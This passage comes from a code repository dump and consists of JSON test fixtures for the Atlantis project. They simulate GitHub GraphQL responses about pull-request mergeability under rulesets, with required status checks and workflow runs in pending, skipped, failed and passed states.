\"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"other-atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"other-atlantis/plan\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-pending.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"my-required-expected-check\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"my-required-expected-check\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-check-skipped.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    },\n                    {\n                      \"context\": \"my-required-expected-check\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my-required-expected-check\",\n                        \"conclusion\": \"SKIPPED\",\n                        \"isRequired\": true\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-evaluate-workflow-failed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"EVALUATE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required (evaluate-enforcement) check\",\n                        \"conclusion\": \"FAILURE\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"FAILURE\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-optional-check-failed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my-optional-check\",\n                        \"conclusion\": \"FAILURE\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-optional-status-failed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"my-optional-check\",\n                        \"state\": \"FAILURE\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-expected.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-failed-first-check-successful.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"first check\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"FAILURE\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"second check\",\n                        \"conclusion\": \"FAILURE\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"FAILURE\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-failed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required check\",\n                        \"conclusion\": \"FAILURE\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"FAILURE\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-multiple-runs.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required check\",\n                        \"conclusion\": \"FAILURE\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"FAILURE\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required check\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"SUCCESS\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 2\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-sha-match.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required check\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"SUCCESS\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-sha-mismatch.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": \"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required check\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"SUCCESS\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed-with-global-codeql.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"name\": \"Analyze (actions)\",\n                        \"checkSuite\": {\n                          \"conclusion\": \"SUCCESS\",\n                          \"workflowRun\": {\n                            \"runNumber\": 208,\n                            \"file\": null\n                          }\n                        }\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required check\",\n                        \"conclusion\": \"SUCCESS\",\n                        \"isRequired\": true,\n                        \"checkSuite\": {\n                          \"conclusion\": \"SUCCESS\",\n                          \"workflowRun\": {\n                            \"file\": {\n                              \"path\": \".github/workflows/my-required-workflow.yaml\",\n                              \"repositoryFileUrl\": \"https://github.com/runatlantis/atlantis/blob/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/.github/workflows/my-required-workflow.yaml\",\n                              \"repositoryName\": \"runatlantis/atlantis\"\n                            },\n                            \"runNumber\": 1\n                          }\n                        }\n                      }\n                    ]\n                  }\n                }\n              }\n            }\n          ]\n        }\n      }\n    }\n  }\n}"
  },
  {
    "path": "server/events/vcs/github/testdata/pull-request-mergeability/ruleset-workflow-passed.json",
    "content": "{\n  \"data\": {\n    \"repository\": {\n      \"pullRequest\": {\n        \"reviewDecision\": null,\n        \"baseRef\": {\n          \"branchProtectionRule\": {\n            \"requiredStatusChecks\": []\n          },\n          \"rules\": {\n            \"pageInfo\": {\n              \"endCursor\": \"QWERTY\",\n              \"hasNextPage\": false\n            },\n            \"nodes\": [\n              {\n                \"type\": \"REQUIRED_STATUS_CHECKS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"requiredStatusChecks\": [\n                    {\n                      \"context\": \"atlantis/apply\"\n                    }\n                  ]\n                }\n              },\n              {\n                \"type\": \"WORKFLOWS\",\n                \"repositoryRuleset\": {\n                  \"enforcement\": \"ACTIVE\"\n                },\n                \"parameters\": {\n                  \"workflows\": [\n                    {\n                      \"path\": \".github/workflows/my-required-workflow.yaml\",\n                      \"repositoryId\": 120519269,\n                      \"sha\": null\n                    }\n                  ]\n                }\n              }\n            ]\n          }\n        },\n        \"commits\": {\n          \"nodes\": [\n            {\n              \"commit\": {\n                \"statusCheckRollup\": {\n                  \"contexts\": {\n                    \"pageInfo\": {\n                      \"endCursor\": \"QWERTY\",\n                      \"hasNextPage\": false\n                    },\n                    \"nodes\": [\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/apply\",\n                        \"state\": \"PENDING\",\n                        \"isRequired\": true\n                      },\n                      {\n                        \"__typename\": \"StatusContext\",\n                        \"context\": \"atlantis/plan\",\n                        \"state\": \"SUCCESS\",\n                        \"isRequired\": false\n                      },\n                      {\n                        \"__typename\": \"CheckRun\",\n                        \"name\": \"my required 